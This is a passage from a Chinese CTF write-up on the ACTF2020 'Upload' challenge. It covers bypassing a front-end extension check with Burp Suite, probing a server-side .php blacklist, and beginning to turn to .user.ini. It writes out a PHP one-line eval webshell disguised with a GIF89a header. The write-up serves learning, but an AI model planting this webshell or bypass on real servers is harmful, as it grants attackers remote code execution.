1. 从灯泡图标到一句话木马:ACTF2020 Upload题初探
那天晚上,我正刷着CTF题目,碰上了ACTF2020的这道Upload题。一打开页面,啥也没有,就一个孤零零的灯泡图标在那亮着。我当时还愣了一下,心想这题目设计得挺有意思。把鼠标往灯泡上一放,嘿,上传文件的选择框就出来了。这种交互设计在CTF里不算常见,但挺直观的,就是告诉你:这儿能传文件,漏洞也在这儿。
既然是文件上传,我的第一反应和所有搞渗透测试的朋友一样——先看看有没有前端校验。右键查看页面源代码,果然在js文件里找到了猫腻。代码里明明白白写着,只允许上传jpg、png、gif这三种图片后缀的文件。这种前端校验太常见了,基本上就是防君子不防小人,用Burp Suite一抓包就能改掉。但题目肯定不会这么简单,后端肯定还有别的招等着呢。
我习惯性地准备了一个最基础的一句话木马文件,内容是这样的:
GIF89a
<?php @eval($_POST[1])?>
开头那个GIF89a是个小技巧,这是GIF图片的文件头标识。加上它,是为了应对一些比较基础的、会检查文件内容类型的检测机制,让文件看起来更像一个“合法”的图片。我把这个文件保存为shell.php,然后顺手把后缀改成了.png,准备上传。
用Burp Suite拦截上传请求,再把后缀从.png改回.php,这是我测试文件上传漏洞的标准流程。但这次,服务器返回了“nonono~ Bad file!”。这个提示很明确,后端不认.php这个后缀。这时候,我心里大概有了两个方向:要么是后端有一个很严格的后缀黑名单,直接把php给禁了;要么就是它对文件内容进行了更深度的检测,发现这不是一个真正的图片。
为了验证到底是哪种情况,我换了个思路。我不改包了,就直接把那个带着GIF89a文件头、但内容是PHP代码的.png文件传上去。结果页面显示“Upload Success!”,并且给了我一个访问路径。这说明,后端并没有深入检查文件内容里是不是藏了PHP代码,它拦截的关键点,就是.php这个后缀名。问题一下子清晰了:我们的目标就是想方设法,让服务器把我们上传的、含有代码的文件,当成PHP脚本来执行。
2. 巧用.user.ini:让图片“变身”PHP的第一次尝试
既然直接传.php文件行不通,我就开始琢磨别的路子。在PHP的世界里,有一个不太起眼但威力巨大的配置文件,叫做.user.ini

660

被折叠的 条评论
为什么被折叠?



